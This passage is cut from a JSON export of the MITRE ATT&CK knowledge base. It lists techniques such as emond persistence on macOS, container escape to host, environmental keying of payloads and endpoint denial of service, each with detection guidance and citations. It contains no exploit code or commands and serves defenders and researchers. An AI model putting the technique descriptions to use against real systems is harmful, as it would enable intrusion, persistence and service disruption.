                    "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Emond",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
            "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-24T21:37:25.307Z",
            "created": "2020-01-24T15:15:13.426Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification",
                "File: File Creation"
            ],
            "x_mitre_contributors": [
                "Ivan Sinyakov"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1589.003",
                    "url": "https://attack.mitre.org/techniques/T1589/003"
                },
                {
                    "source_name": "OPM Leak",
                    "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Employee Names",
            "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:27:49.437Z",
            "created": "2020-10-02T14:57:15.906Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1573",
                    "url": "https://attack.mitre.org/techniques/T1573"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Encrypted Channel",
            "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",
            "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2021-04-20T19:27:46.650Z",
            "created": "2020-03-16T15:33:01.739Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4",
            "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n",
            "name": "Endpoint Denial of Service",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1499",
                    "url": "https://attack.mitre.org/techniques/T1499"
                },
                {
                    "external_id": "CAPEC-227",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/227.html"
                },
                {
                    "external_id": "CAPEC-131",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/131.html"
                },
                {
                    "external_id": "CAPEC-130",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/130.html"
                },
                {
                    "external_id": "CAPEC-125",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/125.html"
                },
                {
                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019."
                },
                {
                    "source_name": "FSISAC FraudNetDoS September 2012",
                    "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
                    "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."
                },
                {
                    "source_name": "Symantec DDoS October 2014",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."
                },
                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."
                },
                {
                    "source_name": "ArsTechnica Great Firewall of China",
                    "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/",
                    "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-04-14T12:05:31.985Z",
            "created": "2019-04-18T11:00:55.862Z",
            "x_mitre_contributors": [
                "Alfredo Oliveira, Trend Micro",
                "David Fiser, @anu4is, Trend Micro",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "created": "2020-06-23T22:28:28.041Z",
            "modified": "2021-03-29T19:56:42.242Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
            "name": "Environmental Keying",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1480.001",
                    "url": "https://attack.mitre.org/techniques/T1480/001"
                },
                {
                    "source_name": "EK Clueless Agents",
                    "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf",
                    "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019."
                },
                {
                    "source_name": "Kaspersky Gauss Whitepaper",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf",
                    "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Proofpoint Router Malvertising",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices",
                    "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019."
                },
                {
                    "source_name": "EK Impeding Malware Analysis",
                    "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf",
                    "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019."
                },
                {
                    "source_name": "Environmental Keyed HTA",
                    "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/",
                    "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019."
                },
                {
                    "source_name": "Ebowla: Genetic Malware",
                    "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf",
                    "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019."
                },
                {
                    "source_name": "Demiguise Guardrail Router Logo",
                    "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js",
                    "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host forensic analysis",
                "Signature-based detection",
                "Static file analysis"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",
            "x_mitre_contributors": [
                "Nick Carr, FireEye"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1611",
                    "url": "https://attack.mitre.org/techniques/T1611"
                },
                {
                    "source_name": "Docker Overview",
                    "url": "https://docs.docker.com/get-started/overview/",
                    "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Docker Bind Mounts",
                    "url": "https://docs.docker.com/storage/bind-mounts/",
                    "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Trend Micro Privileged Container",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html",
                    "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Intezer Doki July 20",
                    "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/",
                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Escape to Host",
            "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",
            "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-22T16:14:59.756Z",
            "created": "2021-03-30T17:38:34.277Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "Administrator",
                "User",
                "root"
            ],
            "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as <code>mount</code> (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.",
            "x_mitre_contributors": [
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
                "Alfredo Oliveira, Trend Micro",
                "David Fiser, @anu4is, Trend Micro",
                "Idan Frimark, Cisco",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Container: Container Creation",
                "Process: OS API Execution",
                "Process: Process Creation"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1585",
                    "url": "https://attack.mitre.org/techniques/T1585"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Establish Accounts",
            "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)",
            "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:10:35.877Z",
            "created": "2020-10-01T01:05:42.216Z",
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
            "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
            "name": "Event Triggered Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546",
                    "url": "https://attack.mitre.org/techniques/T1546"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
                    "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
                    "source_name": "amnesia malware"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-13T21:32:54.610Z",
            "created": "2020-01-22T21:04:23.285Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "File: File Creation",
                "File: File Modification",
                "WMI: WMI Creation",
                "File: File Metadata",
                "Module: Module Load"
            ],
            "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.  \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1098.002",
                    "url": "https://attack.mitre.org/techniques/T1098/002"
                },
                {
                    "source_name": "Microsoft - Add-MailboxPermission",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps",
                    "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019."
                },
                {
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "source_name": "FireEye APT35 2018"
                },
                {
                    "source_name": "Crowdstrike Hiding in Plain Sight 2018",
